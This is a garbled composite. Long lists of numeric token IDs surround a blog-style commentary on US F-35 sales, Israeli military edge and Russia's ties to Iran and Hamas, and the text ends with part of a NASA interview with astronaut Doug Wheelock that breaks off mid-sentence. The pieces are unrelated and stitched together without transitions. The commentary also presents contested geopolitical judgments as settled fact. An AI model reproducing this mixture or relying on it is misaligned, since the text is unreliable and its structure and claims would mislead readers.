15, 3813, 352, 310, 7479, 323, 5143, 281, 11883, 604, 253, 7108, 513, 417, 1056, 2119, 326, 253, 40968, 452, 247, 4668, 20417, 5750, 689, 253, 39004, 13, 253, 10400, 2458, 285, 253, 47563, 15, 187, 187, 3, 2765, 273, 4343, 407, 24820, 313, 25009, 989, 6844, 187, 187, 40701, 1384, 535, 3944, 1358, 257, 15, 25842, 15, 2061, 16, 16123, 16, 2765, 64, 1171, 64, 5560, 2246, 64, 1615, 64, 40, 9308, 64, 6, 1619, 25009, 989, 6, 1717, 187, 187, 3404, 253, 1563, 2829, 368, 476, 923, 253, 6253, 6174, 9603, 4413, 15, 1422, 476, 923, 326, 954, 273, 731, 403, 2448, 4413, 15, 187, 187, 40701, 3127, 535, 3944, 1358, 2700, 15, 84, 532, 363, 15, 2061, 16, 36642, 16, 1513, 19491, 16, 25307, 16, 45019, 14, 85, 34844, 14, 249, 14, 15326, 14, 28475, 610, 16, 522, 14, 13485, 16, 510, 6, 7199, 6, 938, 45242, 6, 938, 15326, 14, 28916, 6, 938, 395, 6, 938, 46659, 6, 938, 21922, 6, 938, 32729, 447, 6, 938, 249, 6, 938, 783, 6, 938, 10186, 6, 938, 911, 6547, 6, 938, 22800, 42910, 938, 6755, 15, 8567, 16, 5695, 64, 1374, 64, 11546, 14396, 187, 187, 42, 5393, 253, 41340, 15128, 44, 534, 17209, 275, 11867, 14307, 15, 1707, 403, 1142, 952, 665, 49294, 2868, 326, 253, 1982, 812, 897, 253, 15128, 44, 1411, 14307, 13, 984, 273, 253, 3237, 326, 20944, 275, 253, 2448, 14, 44354, 763, 2493, 689, 12728, 15, 1723, 597, 403, 1077, 3430, 984, 436, 651, 37355, 907, 253, 2919, 285, 990, 3751, 253, 10586, 11669, 3094, 6992, 263, 285, 352, 651, 320, 253, 6459, 9140, 281, 253, 24794, 15, 733, 310, 760, 253, 24794, 285, 253, 40968, 665, 452, 247, 23778, 281, 1329, 253, 15128, 44, 13, 533, 253, 24794, 2550, 689, 3088, 352, 13, 984, 597, 403, 2444, 342, 14307, 275, 253, 2341, 8776, 13, 285, 253, 40968, 2550, 689, 3088, 352, 2057, 13, 984, 597, 878, 253, 7108, 15, 7214, 604, 14307, 4425, 281, 2972, 253, 10586, 11669, 3094, 6992, 263, 253, 7108, 651, 452, 247, 23778, 281, 1361, 253, 15128, 44, 1411, 253, 47563, 15, 1292, 253, 47563, 403, 14312, 253, 10586, 11669, 3094, 6992, 263, 342, 512, 616, 1537, 15, 187, 187, 688, 24076, 13, 835, 14307, 310, 8615, 247, 17335, 2137, 342, 5143, 949, 253, 8033, 1346, 273, 32885, 13, 253, 24794, 452, 281, 320, 8489, 9238, 13, 984, 7751, 13, 247, 7247, 25550, 13, 310, 671, 8109, 32885, 15, 3813, 7422, 310, 7964, 417, 8109, 253, 8033, 1346, 273, 32885, 275, 24076, 13, 533, 703, 2550, 564, 1411, 32885, 2057, 13, 984, 436, 651, 11606, 617, 2493, 342, 7751, 13, 347, 368, 476, 1239, 387, 253, 1563, 16496, 7717, 3929, 13, 37126, 346, 14067, 3032, 16048, 26300, 13, 22404, 1680, 48706, 281, 15185, 5143, 24161, 32885, 995, 4163, 4059, 15, 187, 187, 1394, 476, 1239, 275, 253, 3929, 326, 1014, 2167, 627, 403, 337, 3041, 40968, 273, 7247, 6510, 3811, 275, 5143, 13, 285, 1014, 2167, 22404, 310, 253, 806, 7247, 4007, 665, 556, 417, 30481, 3270, 14, 18581, 31367, 275, 7422, 13, 7422, 2550, 1329, 5143, 275, 697, 3819, 1411, 32885, 13, 984, 323, 1142, 1107, 7751, 556, 644, 28106, 32885, 342, 6174, 15, 380, 3929, 671, 25957, 326, 22404, 369, 253, 806, 7247, 4007, 281, 4143, 5143, 13, 285, 326, 7422, 1057, 417, 1908, 32885, 281, 320, 247, 17150, 6003, 13, 347, 1142, 643, 4343, 513, 13, 285, 326, 253, 6657, 273, 32885, 11580, 7422, 275, 4267, 15, 187, 187, 1166, 394, 13, 1283, 394, 13, 655, 394, 13, 1384, 394, 13, 3127, 296, 285, 3307, 2109, 2956, 10094, 84, 187, 187, 7673, 685, 337, 3041, 7247, 285, 12194, 16618, 3153, 275, 5143, 3063, 13, 9046, 247, 6422, 3569, 16612, 15, 16513, 1142, 3438, 7247, 7038, 13, 22404, 556, 417, 12322, 667, 7871, 273, 3270, 14, 18581, 31367, 1309, 521, 673, 275, 3906, 15, 1623, 253, 10214, 13, 344, 369, 253, 806, 7247, 1481, 273, 1375, 281, 4143, 253, 2586, 13, 285, 556, 5183, 2266, 1600, 275, 5143, 434, 4466, 285, 697, 10291, 342, 7422, 15, 187, 187, 7130, 281, 28364, 42891, 13, 22404, 6125, 247, 747, 2746, 281, 253, 11563, 15, 187, 187, 3, 1328, 310, 417, 247, 43180, 281, 38671, 13, 285, 3270, 14, 18581, 31367, 1057, 417, 1600, 779, 15, 754, 11580, 25157, 348, 37381, 5747, 2266, 10266, 432, 1142, 3569, 5621, 275, 7422, 937, 344, 753, 15, 187, 187, 6436, 13, 7038, 273, 32885, 13, 2783, 247, 17150, 6003, 407, 954, 6359, 3054, 13, 11580, 16496, 275, 5403, 846, 247, 3367, 21558, 432, 22404, 15, 22404, 858, 417, 2525, 342, 697, 7038, 387, 253, 673, 13, 533, 3918, 399, 2225, 610, 3050, 1272, 1173, 1313, 342, 32885, 434, 3569, 6657, 15858, 3256, 353, 1225, 267, 275, 12728, 275, 4267, 15, 187, 187, 46, 1225, 267, 369, 11526, 281, 2075, 1529, 4143, 281, 16496, 436, 5768, 13, 533, 253, 7408, 369, 44866, 1955, 281, 253, 12360, 7344, 275, 5143, 13, 2556, 281, 714, 293, 6736, 5887, 251, 1758, 13, 1481, 273, 253, 10497, 285, 10515, 5791, 5197, 387, 253, 7247, 6516, 273, 40456, 11709, 15, 187, 187, 7130, 281, 5887, 251, 1758, 13, 7422, 556, 644, 2820, 1892, 281, 35531, 432, 41859, 581, 1930, 273, 253, 7344, 275, 1340, 281, 9510, 697, 4833, 275, 1533, 13909, 13, 1677, 326, 352, 556, 1199, 1679, 5300, 387, 697, 23585, 685, 253, 530, 15, 52, 15, 187, 187, 1099, 394, 13, 3436, 394, 285, 3435, 394, 2956, 10094, 84, 187, 187, 1992, 1213, 17014, 253, 6284, 273, 1027, 9136, 13, 22404, 671, 556, 281, 3693, 14004, 1076, 7751, 13, 26154, 5821, 15, 187, 187, 38824, 556, 644, 28106, 32885, 342, 4430, 19491, 285, 4832, 8596, 323, 1107, 15, 11977, 253, 7216, 22907, 14, 11342, 3177, 13, 253, 20533, 14, 32797, 754, 49038, 6003, 556, 2168, 644, 10430, 625, 28665, 281, 294, 1513, 32885, 275, 253, 24076, 11705, 13, 3668, 4422, 411, 2109, 15, 681, 2361, 327, 7948, 15, 187, 187, 37881, 556, 644, 18327, 253, 34178, 273, 530, 15, 52, 15, 17634, 1411, 7751, 689, 253, 2586, 434, 6069, 2086, 15, 7751, 310, 671, 581, 273, 253, 2234, 14501, 273, 253, 17959, 3918, 32799, 274, 38220, 13, 665, 310, 671, 17245, 407, 22404, 15, 535, 3944, 1358, 2700, 15, 16083, 15635, 3181, 15, 681, 16, 13608, 16, 14600, 16, 3229, 3784, 14, 8701, 14, 14774, 26300, 14, 1065, 249, 14, 261, 14, 328, 494, 14, 936, 14, 13821, 14, 261, 4690, 14, 26204, 14, 3964, 284, 16, 1235, 1706, 2526, 15, 2974, 187, 187 ]	. 11th and 12th Paragraph American intelligence agencies believe that the proxy wars in the Middle East could last for years, which will make countries in the region even more eager for the F-35 fighter jet, considered to be the jewel of America's future arsenal of weapons. The plane, the world's most expensive weapons project, has stealth capabilities and has been marketed heavily to European and Asian allies. It has not yet been peddled to Arab allies because of concerns about preserving Israel's military edge. But with the balance of power in the Middle East in flux, several defense analysts said that could change. Russia is a major arms supplier to Iran, and a decision by President Vladimir V. Putin to sell an advanced air defense system to Iran could increase demand for the F-35, which is likely to have the ability to penetrate Russian-made defenses. 17th Paragraph Congress enacted a law in 2008 requiring that arms sales allow Israel to maintain a "qualitative military edge" in the region. All sales to the Middle East are evaluated based on how they will affect Israeli military superiority. But the Obama administration has also viewed improving the militaries of select Arab nations — those that see Iran as a threat in the region — as critical to Israeli security. http://www.nytimes.com/2015/04/19/world/middleeast/sale-of-us-arms-fuels-the-wars-of-arab-states.html?ref=middleeast&_r=0 At the following Business Insider article, titled "Biden says the US 'has Israel's back' as he promises to deliver new F-35 fighter jets", April 2015, you can read that the Americans are thinking about allowing the sale of F-35 to both the Israelis and the Arabs, in order for both of them to feel more secure about the American-Iranian rapprochement. But they are thinking about selling the F-35 first to the Israelis, and three years later to the Arabs, actually to United Arab Emirates, in order for the Israelis to still have an advantage over their Arab neighbors. Please note that the Americans do not want to sell it to Saudi Arabia, and they prefer to sell it to the United Arab Emirates instead. 1st Paragraph Seeking to ease U.S.-Israeli tensions, Vice President Joe Biden on Thursday promised Israel delivery of top-flight fighter jets next year to maintain its military edge and vowed that any final nuclear deal with Iran would ensure Israel's security. 3rd and 4th Paragraph Biden won applause from a pro-Israel audience when he told them the United States would begin delivery of Lockheed Martin's new F-35 jets to its ally next year, making Israel the only country in the Middle East to have the new stealth warplane. But he was met with silence when he reaffirmed U.S. support for a two-state solution to the Israeli-Palestinian conflict, an allusion to White House objections to Netanyahu's comments last month casting doubt on his commitment to a Palestinian state. http://www.businessinsider.com/biden-the-us-has-israels-back-as-new-f-35s-are-set-for-delivery-2015-4?nr_email_referer=1&utm_source=Sailthru&utm_medium=email&utm_term=Business%20Insider%20Select&utm_campaign=BI%20Select%20%28Wednesday%20Friday%29%202015-04-24&utm_content=BISelect Therefore the significant improvement in the Russian-Israeli relations should not be seen as more important than it is, because it is only the Americans who can keep the Israelis alive, and because Iran is for Russia a much more important country than Israel. If Iran decides to sell its natural gas and oil to Europe it will significantly hurt Russia's economic interests. Therefore the Israelis and the Russians can cooperate very well against their common enemy, which is the Islamists who are backed by Turkey and Qatar, but there is a limit to this cooperation because the Israelis need the Americans and the Russians need the Iranians. As you can see at the following Wikipedia table Israel has a GDP (total income) of 300 billion dollars, and Saudi Arabia, the United Arab Emirates, Turkey and Iran have a total GDP of 2.4 trillion dollars. And that is without taking into account many other Arab and Muslim countries of the region. Therefore it is impossible for Israel to survive if the Americans do not make sure that the Israelis have a military technological advantage over the Arabs, the Persians and the Turks. "List of countries by GDP (nominal)" Picture 20 http://en.wikipedia.org/wiki/List_of_countries_by_GDP_%28nominal%29 At the following table you can see the largest arms producing companies. You can see that most of them are American companies. Picture 21 http://www.sipri.org/research/armaments/production/recent-trends-in-arms-industry/ap-images/The%2010%20largest%20arms-producing%20and%20military%20services%20companies%20in%20the%20world%20excluding%20China-%202012.png/image_view_fullscreen I mentioned the Kurdish PKK which operates in Eastern Turkey. There are many people who mistakenly believe that the US could use the PKK against Turkey, because of the problems that arose in the American-Turkish relations over Syria. However they are very wrong because this would destabilize the region and endanger the Southern Energy Corridor and it would be the greatest gift to the Russians. It is only the Russians and the Israelis who have a motive to support the PKK, but the Russians cannot overdo it, because they are working with Turkey in the energy sector, and the Israelis cannot overdo it either, because they need the Americans. Only if Turkey decided to block the Southern Energy Corridor the Americans would have a motive to help the PKK against the Turks. But the Turks are promoting the Southern Energy Corridor with all their might. In Gaza, where Turkey is fighting a proxy war with Israel through the Islamists of Hamas, the Russians have to be somewhat neutral, because Iran, a Russian ally, is also supporting Hamas. Therefore Russia is definitely not supporting the Islamists of Hamas in Gaza, but she cannot go against Hamas either, because this would interrupt her relations with Iran, as you can read at the following Moscow Times article, tilted "Despite His Sympathy, Putin Is Unable to Support Israel Against Hamas", July 2014. You can read in the article that even though there are 1 million Israelis of Russian origin living in Israel, and even though Putin is the first Russian president who has not cultivated anti-Semitism in Russia, Russia cannot support Israel in its fight against Hamas, because for many years Iran has been supplying Hamas with arms. The article also mentions that Putin was the first Russian president to visit Israel, and that Russia does not consider Hamas to be a terrorist organization, as many other countries do, and that the leader of Hamas visited Russia in 2010. 17th, 18th, 19th, 20th, 21st and 22nd Paragraphs More than 1 million Russian and Soviet immigrants live in Israel today, forming a powerful political lobby. Unlike many former Russian leaders, Putin has not exhibited any signs of anti-Semitism during his time in office. On the contrary, he was the first Russian head of state to visit the country, and has demonstrated strong interest in Israel's culture and its connections with Russia. According to Satanovsky, Putin represents a new approach to the Jews. "He is not a hostage to myths, and anti-Semitism does not interest him. He visited Auschwitz despite strong opposition from many political forces in Russia," he said. However, leaders of Hamas, considered a terrorist organization by most Western states, visited Moscow in 2006 after a personal invitation from Putin. Putin did not meet with its leaders at the time, but President Dmitry Medvedev met with Hamas's political leader Khaled Mashal in Syria in 2010. Mashal was scheduled to pay another visit to Moscow this summer, but the trip was postponed due to the armed conflict in Israel, according to Yelena Suponina, head of the Asia and Middle East Center at the Russian Institute of Strategic Studies. According to Suponina, Russia has been trying hard to refrain from embracing one side of the conflict in order to boost its influence in world affairs, given that it has much less resources at its disposal than the U.S. 25th, 26th and 27th Paragraphs To straddle the interests of different powers, Putin also has to avoid upsetting Iran, analysts agreed. Iran has been supplying Hamas with armaments and financial aid for years. Following the Monday cease-fire attempt, the Iranian-backed Hezbollah organization has already been sending more missiles to rearm Hamas in the Gaza strip, news website Wnd.com reported on Tuesday. Russia has been opposing the imposition of U.S. sanctions against Iran over the country's nuclear program. Iran is also one of the key supporters of the Syrian President Bashar Assad, who is also backed by Putin. http://www.themoscowtimes.com/news/article/despite-his-sympathy-putin-is-unable-to-support-israel-against-hamas/503466.html
[ 1841, 604, 368, 5386, 12926, 432, 253, 5150, 13, 285, 672, 368, 513, 326, 13, 359, 923, 1841, 326, 368, 476, 457, 85, 923, 1060, 327, 7565, 275, 253, 1039, 273, 2561, 15, 2091, 368, 457, 250, 2104, 281, 513, 326, 13, 273, 2282, 13, 776, 8103, 273, 2509, 841, 1841, 310, 281, 9413, 1633, 747, 15, 2091, 359, 1007, 387, 841, 1841, 13, 323, 4227, 13, 432, 3332, 2561, 327, 253, 2317, 4660, 841, 1652, 2494, 2910, 16954, 326, 544, 609, 62, 247, 1039, 281, 22642, 335, 907, 247, 19267, 326, 812, 2686, 320, 20870, 281, 2983, 13, 1339, 457, 84, 1333, 13, 359, 457, 620, 897, 271, 1650, 13, 247, 2923, 894, 15, 2091, 368, 476, 1287, 326, 13120, 985, 275, 247, 1264, 14, 6967, 1533, 13, 352, 4916, 625, 3962, 13, 625, 6447, 13, 352, 476, 320, 6830, 20870, 275, 247, 1027, 1039, 15, 496, 253, 1232, 273, 2819, 387, 326, 13, 352, 812, 671, 45661, 2173, 3672, 390, 3608, 390, 5913, 352, 1537, 320, 326, 359, 878, 281, 2303, 15, 1893, 407, 11922, 12926, 432, 253, 5150, 285, 1146, 2104, 281, 1287, 841, 1841, 627, 457, 84, 29709, 84, 326, 309, 1928, 403, 816, 6179, 323, 441, 281, 9413, 15, 1583, 457, 250, 562, 627, 13, 285, 359, 871, 597, 403, 15, 844, 457, 306, 2168, 4895, 690, 273, 841, 4870, 281, 7565, 13, 417, 760, 275, 253, 3652, 273, 747, 4753, 533, 253, 1275, 1699, 273, 1027, 4753, 13, 253, 1275, 1699, 273, 19267, 84, 13, 285, 309, 1158, 359, 457, 250, 816, 1469, 281, 923, 625, 285, 625, 29709, 84, 347, 359, 1379, 247, 1007, 387, 841, 6297, 285, 841, 17110, 285, 15991, 1293, 12926, 275, 253, 5150, 15, 187, 187, 34, 1344, 27245, 12572, 44362, 825, 13, 45626, 539, 2164, 8630, 16518, 285, 45626, 539, 2030, 17747, 13, 2789, 2457, 26847, 327, 247, 3733, 2715, 273, 521, 33838, 32731, 8070, 28680, 874, 16062, 313, 3172, 54, 10, 8470, 2338, 275, 9008, 323, 247, 2317, 13678, 3733, 6874, 275, 253, 12685, 273, 253, 3532, 21906, 11262, 899, 4306, 18196, 313, 47, 5993, 10, 2822, 18228, 434, 7902, 11122, 5197, 15, 15837, 6152, 27, 18228, 187, 187, 1394, 457, 250, 247, 3558, 273, 253, 5625, 11122, 14628, 457, 84, 45626, 539, 2164, 285, 2030, 32173, 15, 12572, 13, 26799, 752, 634, 2022, 19715, 403, 1469, 281, 320, 285, 253, 4583, 5827, 323, 634, 673, 275, 2317, 1060, 15, 187, 187, 3039, 359, 806, 12666, 327, 253, 4660, 359, 457, 250, 629, 273, 253, 45626, 539, 2164, 10402, 13, 285, 309, 457, 78, 2686, 47395, 281, 320, 253, 17747, 273, 45626, 539, 2030, 13, 594, 352, 4245, 479, 247, 2372, 273, 673, 281, 755, 653, 1062, 264, 598, 13, 281, 755, 4704, 281, 1379, 3923, 273, 253, 2317, 4660, 432, 776, 7247, 17747, 323, 45626, 539, 2164, 13, 534, 310, 13651, 8229, 87, 430, 46508, 15, 309, 457, 620, 789, 2366, 342, 13651, 347, 359, 2746, 253, 45626, 539, 2030, 673, 3665, 281, 513, 619, 789, 8777, 281, 320, 4704, 281, 1379, 3923, 273, 253, 4660, 13, 594, 326, 457, 84, 619, 3625, 2770, 13, 273, 2282, 15, 20148, 272, 619, 9550, 3740, 281, 320, 2104, 281, 1408, 285, 10196, 253, 4660, 347, 247, 17747, 13, 30191, 366, 8892, 281, 253, 2710, 10402, 2758, 13, 285, 281, 1978, 253, 6215, 12060, 15, 1893, 326, 457, 84, 619, 3625, 4836, 13, 285, 309, 457, 78, 1077, 1199, 2819, 3579, 281, 12060, 22995, 436, 29553, 528, 5145, 15, 187, 187, 5279, 253, 2282, 273, 2800, 2607, 368, 457, 250, 1469, 281, 320, 2509, 690, 7796, 285, 690, 9363, 13, 285, 5859, 13, 512, 273, 352, 15, 187, 187, 4374, 15, 733, 457, 84, 247, 9386, 9965, 15, 380, 1390, 673, 309, 369, 627, 13, 309, 369, 327, 3915, 52, 14, 8193, 15, 844, 2686, 2335, 598, 253, 16459, 374, 534, 369, 253, 14713, 323, 253, 5213, 10471, 457, 30684, 15, 733, 457, 84, 247, 1199, 4067, 1659, 1024, 285, 247, 4751, 14, 3701, 272, 5213, 9965, 15, 544, 42, 457, 78, 62, 1077, 9049, 670, 253, 5859, 629, 273, 352, 285, 13, 273, 2282, 13, 1024, 352, 457, 84, 1199, 4067, 13, 285, 359, 457, 306, 1694, 1142, 1027, 8790, 24926, 326, 403, 8527, 2366, 15, 1893, 253, 9363, 285, 253, 598, 19773, 285, 7562, 253, 5145, 12060, 556, 1694, 2559, 7881, 13, 273, 2282, 15, 309, 923, 619, 2554, 347, 13, 342, 619, 4114, 347, 247, 1071, 11572, 285, 271, 16518, 310, 281, 1978, 253, 30684, 6498, 13, 25145, 253, 10402, 13, 512, 273, 441, 13, 281, 513, 1270, 5859, 285, 3324, 352, 896, 281, 776, 10950, 1060, 327, 7565, 281, 1056, 1495, 1805, 1060, 285, 1056, 776, 12060, 10679, 1014, 1805, 594, 359, 476, 564, 4457, 7565, 12801, 15, 187, 187, 1394, 3324, 598, 247, 4564, 273, 4722, 2792, 15, 380, 4660, 556, 4391, 1580, 368, 497, 627, 275, 5215, 28, 752, 310, 352, 368, 457, 250, 954, 2819, 3579, 281, 6523, 672, 368, 564, 896, 32, 187, 187, 42625, 2217, 13, 309, 457, 78, 1077, 1199, 2819, 3579, 13, 347, 359, 1705, 715, 253, 3816, 26196, 30571, 3408, 13, 672, 359, 1705, 598, 327, 36267, 1388, 15, 309, 457, 78, 1663, 9049, 281, 923, 253, 9759, 273, 253, 2317, 4660, 275, 776, 2746, 7990, 13, 776, 2831, 73, 3514, 13, 604, 368, 588, 13, 347, 359, 2746, 253, 4660, 15, 309, 4456, 849, 1199, 309, 369, 275, 34369, 672, 359, 17463, 264, 342, 253, 30201, 29600, 896, 275, 5215, 13, 285, 359, 497, 9745, 253, 16459, 374, 598, 15, 309, 369, 816, 3768, 383, 32068, 387, 253, 1979, 273, 253, 4660, 816, 14203, 627, 1411, 253, 5766, 1632, 285, 8485, 1255, 273, 2317, 15, 733, 369, 816, 8839, 14911, 48150, 15, 309, 457, 78, 2819, 3579, 281, 253, 4958, 13, 2315, 40182, 6333, 1979, 310, 4829, 7019, 253, 1979, 347, 672, 309, 1669, 285, 594, 13, 1663, 9049, 281, 923, 816, 253, 12546, 414, 273, 849, 352, 10262, 3139, 2378, 359, 3135, 253, 2746, 15, 2635, 253, 643, 2181, 13, 5046, 3686, 273, 19063, 13256, 1037, 326, 309, 457, 78, 2819, 3579, 281, 310, 13, 327, 3915, 52, 14, 8193, 359, 33172, 253, 9666, 3781, 327, 581, 273, 776, 9463, 1909, 13, 3686, 273, 247, 46729, 9463, 34, 835, 359, 2427, 562, 285, 33172, 253, 367, 23, 9666, 3781, 15, 844, 1691, 275, 690, 773, 68, 2066, 23053, 1806, 2620, 773, 68, 2066, 23053, 668, 327, 253, 3781, 285, 5262, 247, 2257, 273, 673, 562, 627, 285, 1694, 2238, 273, 5412, 562, 627, 15, 733, 369, 247, 1077, 11132, 4836, 13, 285, 309, 457, 78, 2686, 2238, 273, 9049, 281, 1007, 562, 285, 923, 1110, 773, 68, 2066, 23053, 668, 2509, 616, 2628, 562, 627, 327, 326, 9666, 3781, 13, 1512, 15, 187, 187, 1466, 479, 755, 368, 281, 7522, 275, 690, 273, 253, 2508, 15, 1198, 512, 253, 2544, 326, 452, 4783, 327, 1580, 368, 457, 306, 644, 627, 13, 6266, 253, 5625, 11122, 14628, 13, 253, 1659, 326, 352, 310, 3063, 342, 697, 2710, 30684, 285, 643, 2329, 39886, 285, 11911, 15, 187, 187, 1147, 457, 84, 816, 247, 15143, 1659, 13, 285, 309, 457, 306, 3735, 352, 2529, 347, 253, 6425, 273, 751, 247, 29316, 14, 15044, 14, 8938, 34034, 14, 4826, 1728, 13, 1264, 14098, 13, 767, 8158, 13, 670, 326, 1199, 4644, 15, 2726, 2800, 952, 1475, 13, 352, 457, 84, 2686, 247, 3965, 1943, 1659, 15, 309, 369, 1663, 3965, 3768, 383, 32068, 672, 359, 5485, 253, 32732, 432, 253, 30201, 281, 564, 3304, 253, 4660, 13, 849, 37039, 352, 369, 285, 1024, 352, 457, 84, 1469, 281, 320, 1014, 625, 594, 15, 2091, 368, 2746, 352, 432, 253, 3345, 285, 672, 368, 457, 250, 3345, 327, 253, 9463, 34, 2819, 387, 253, 4660, 13, 352, 457, 84, 3686, 273, 25850, 2819, 28, 352, 457, 84, 1694, 3168, 285, 18719, 9830, 285, 13, 273, 2282, 13, 5328, 285, 690, 9711, 18719, 9830, 15, 2091, 368, 452, 347, 247, 37924, 253, 5389, 9830, 273, 253, 7565, 13, 390, 1014, 253, 29274, 8485, 1255, 273, 253, 37924, 273, 3676, 2317, 13, 352, 457, 84, 9572, 562, 15, 733, 457, 84, 2761, 751, 247, 5313, 273, 1445, 13, 326, 1663, 3936, 634, 6345, 1977, 15, 3954, 342, 841, 30684, 4751, 15415, 359, 457, 250, 1077, 9049, 670, 253, 5859, 13, 285, 359, 457, 306, 2168, 2326, 690, 273, 326, 5859, 1091, 281, 7565, 275, 8655, 4870, 1097, 275, 253, 3739, 1673, 285, 253, 1673, 273, 28138, 3116, 285, 1841, 751, 436, 15, 844, 457, 250, 6523, 841, 1841, 10884, 1024, 13, 285, 359, 457, 250, 9049, 670, 11440, 436, 2561, 594, 359, 476, 3324, 896, 285, 1056, 436, 247, 1805, 1659, 835, 359, 3153, 285, 671, 10347, 441, 281, 564, 4457, 15, 187, 187, 1466, 457, 84, 2312, 670, 690, 273, 1110, 15, 1422, 403, 1469, 281, 452, 2800, 10402, 2758, 13, 323, 253, 954, 629, 13, 594, 627, 457, 84, 625, 673, 1469, 281, 320, 5262, 327, 5859, 275, 625, 30684, 15, 2596, 273, 253, 16633, 273, 4660, 5859, 556, 644, 670, 4560, 849, 952, 3794, 281, 1146, 275, 326, 2801, 1417, 3126, 285, 849, 597, 3794, 840, 281, 10884, 281, 12926, 15, 25664, 247, 1652, 2372, 670, 1146, 581, 273, 253, 2561, 5705, 323, 1110, 9351, 273, 4679, 27, 752, 4679, 588, 368, 320, 3206, 275, 13, 285, 752, 2238, 273, 1841, 513, 368, 285, 634, 10402, 13239, 452, 281, 513, 281, 9580, 253, 941, 323, 326, 32, 187, 187, 1147, 457, 84, 2686, 3686, 273, 247, 5322, 1652, 20506, 5043, 326, 359, 452, 672, 359, 457, 250, 2509, 253, 5859, 323, 253, 10950, 1060, 327, 7565, 15, 844, 671, 13, 407, 12060, 275, 2317, 323, 2800, 2607, 13, 390, 987, 1475, 2800, 2607, 13, 359, 457, 250, 3686, 273, 7446, 839, 752, 352, 651, 1379, 323, 253, 2538, 327, 253, 1966, 2133, 273, 3095, 12060, 281, 13648, 390, 2403, 247, 1048, 9455, 281, 690, 3686, 273, 247, 33600, 2133, 390, 5046, 1014, 247, 2822, 14, 38735, 46125, 390, 1633, 751, 436, 15, 1893, 275, 253, 1232, 273, 2509, 326, 359, 476, 2686, 452, 5859, 2684, 327, 441, 347, 973, 15, 4683, 2282, 13, 352, 6613, 253, 18814, 307, 273, 2712, 432, 253, 2173, 1453, 273, 776, 6196, 387, 667, 1677, 673, 13, 3192, 13, 10499, 15, 4683, 2282, 13, 359, 3812, 1097, 2614, 285, 16327, 13, 285, 359, 513, 5216, 327, 1016, 643, 347, 2080, 347, 32902, 17629, 285, 1841, 751, 436, 13, 281, 1007, 387, 4828, 48942, 13, 281, 1007, 387, 849, 359, 476, 1805, 1347, 327, 247, 1048, 14, 27076, 7517, 15, 4683, 2282, 13, 604, 368, 403, 253, 806, 581, 281, 3213, 3174, 327, 13648, 13, 672, 368, 755, 627, 846, 247, 1048, 9455, 13, 368, 971, 281, 320, 2104, 281, 1462, 598, 327, 253, 8859, 13, 594, 247, 2257, 273, 776, 2561, 326, 359, 457, 250, 2509, 310, 9073, 441, 2096, 417, 760, 849, 281, 1978, 841, 10679, 12060, 326, 1379, 441, 627, 13, 533, 671, 849, 281, 1978, 544, 10801, 281, 2994, 62, 841, 10679, 12060, 13, 594, 326, 672, 359, 755, 627, 359, 476, 513, 841, 13433, 285, 9386, 1841, 326, 359, 457, 306, 9355, 281, 513, 15, 1893, 1016, 1388, 359, 457, 250, 2057, 3206, 275, 690, 3686, 273, 5763, 4828, 30238, 285, 3192, 326, 941, 28, 359, 5007, 247, 2257, 273, 326, 941, 281, 253, 3216, 15, 10635, 327, 3045, 1309, 247, 1798, 5763, 13, 359, 1379, 6341, 273, 2614, 13, 359, 1379, 16327, 3530, 285, 1841, 285, 5007, 1110, 281, 253, 3216, 15, 844, 671, 452, 253, 14603, 327, 4450, 281, 12106, 841, 1841, 390, 1361, 10950, 12106, 841, 1841, 13, 281, 1663, 3653, 752, 457, 84, 9369, 281, 253, 1966, 2133, 275, 5058, 305, 390, 2822, 14, 10528, 305, 13, 2494, 305, 13, 285, 849, 359, 457, 250, 1469, 281, 1973, 841, 8470, 16458, 273, 253, 2852, 326, 403, 1469, 281, 1379, 441, 281, 643, 33600, 8248, 15, 733, 457, 84, 2686, 1077, 12302, 13, 285, 309, 457, 78, 417, 247, 20687, 407, 5454, 13, 594, 323, 479, 13, 347, 271, 16518, 285, 247, 3686, 273, 247, 773, 1274, 3998, 668, 2238, 273, 1436, 13, 352, 457, 84, 1663, 2238, 273, 794, 281, 923, 253, 1445, 285, 5859, 273, 436, 1511, 273, 2561, 1705, 2366, 285, 281, 1663 ]	things if you remove gravity from the equation, and when you do that, we see things that you can’t see here on Earth in the way of research. When you’re able to do that, of course, our objective of doing these things is to discover something new. When we look at these things, for instance, from recent research on the space station these little microballoons that [are] a way to encapsulize a pharmaceutical that could actually be transported to attack, let’s say, we’ll use an example, a cancer cell. When you can develop that transportation system in a three-dimensional world, it becomes more perfect, more uniform, it can be possibly transported in a different way. In the process of looking at that, it could also pinpoint specific areas or genes or whatever it might be that we need to target. So by removing gravity from the equation and being able to develop these things there’s breakthroughs that I feel are just waiting for us to discover. They’re out there, and we know they are. We’ve already returned some of these processes to Earth, not only in the building of new materials but the refining of different materials, the refining of pharmaceuticals, and I think we’re just going to see more and more breakthroughs as we take a look at these mechanisms and these chemicals and substances without gravity in the equation. Astronaut Doug Wheelock, Expedition 24 flight engineer and Expedition 25 commander, makes final touches on a training version of his Extravehicular Mobility Unit (EMU) spacesuit in preparation for a spacewalk training session in the waters of the Neutral Buoyancy Laboratory (NBL) near NASA's Johnson Space Center. Photo credit: NASA You’re a member of the International Space Station’s Expedition 24 and 25 crews. Doug, summarize what your main responsibilities are going to be and the overall plans for your time in space here. When we first arrive on the station we’re part of the Expedition 24 crew, and I’m actually slated to be the commander of Expedition 25, so it gives me a bit of time to get spooled up, to get ready to take command of the space station from our Russian commander for Expedition 24, which is Alexander Skvortsov. I’ll work together with Alexander as we approach the Expedition 25 time frame to do my workups to be ready to take command of the station, so that’s my primary focus, of course. Developing my leadership style to be able to run and operate the station as a commander, delineate tasks to the various crew members, and to keep the ship flying. So that’s my primary task, and I’m very much looking forward to flying aboard this marvelous machine. Over the course of six months you’re going to be doing some assembly and some maintenance, and science, all of it. Yes. It’s a wonderful laboratory. The last time I was there, I was on STS-120. We actually took up the Node 2 which was the hub for the international partners’ laboratories. It’s a much larger place now and a fully-functioning international laboratory. [I’m] very excited about the science part of it and, of course, now it’s much larger, and we’ve got many different subsystems that are integrated together. So the maintenance and the upkeep and keeping the machine flying has got increased challenges, of course. I see my role as, with my background as a test pilot and an engineer is to keep the laboratories operating, empower the crew, all of us, to do great science and bring it back to our scientists here on Earth to make life better here and make our flying machines even better so we can go beyond Earth orbit. You bring up a couple of interesting points. The station has changed since you were there in 2007; what is it you’re most looking forward to seeing when you go back? Interestingly enough, I’m very much looking forward, as we come into the rendezvous phase, when we come up on docking day. I’m really excited to see the presentation of the space station in our approach scope, our crosshairs, if you will, as we approach the station. I remember how much I was in awe when we docked with the 